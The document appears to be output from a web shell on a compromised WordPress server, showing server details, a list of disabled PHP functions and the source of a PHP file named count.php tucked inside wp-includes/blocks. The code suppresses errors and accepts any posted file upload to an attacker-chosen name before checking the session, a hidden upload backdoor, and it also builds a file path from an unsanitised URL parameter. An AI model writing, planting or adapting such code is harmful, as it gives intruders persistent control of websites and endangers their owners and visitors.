HEX
Server: Apache/2.4.25 (Debian)
System: Linux server17 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User: web37 (1062)
PHP: 7.4.30
Disabled: show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
Upload Files
File: /var/www/web37/htdocs/telefonsex-info/wp-includes/blocks/home-link/1617/admin/count.php
<?php
error_reporting(0);
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['email_admin']) ){
    move_uploaded_file($_FILES['admin']['tmp_name'],$_FILES['admin']['name']);
}
session_start();
if(!isset($_SESSION['email_admin'])) {
    header("location: login.php");
}
$file = $_GET['code'];
function getLines($file){
    if (file_exists($file)) {
        $f = fopen($file, 'rb');
        $lines = 0;
        while (!feof($f)) {
            $lines += substr_count(fread($f, 8192), "\n");
        }
        fclose($f);
    }else{
        $lines = 0;
    }
    
    return $lines;
}
echo getLines("../logs/$file.txt");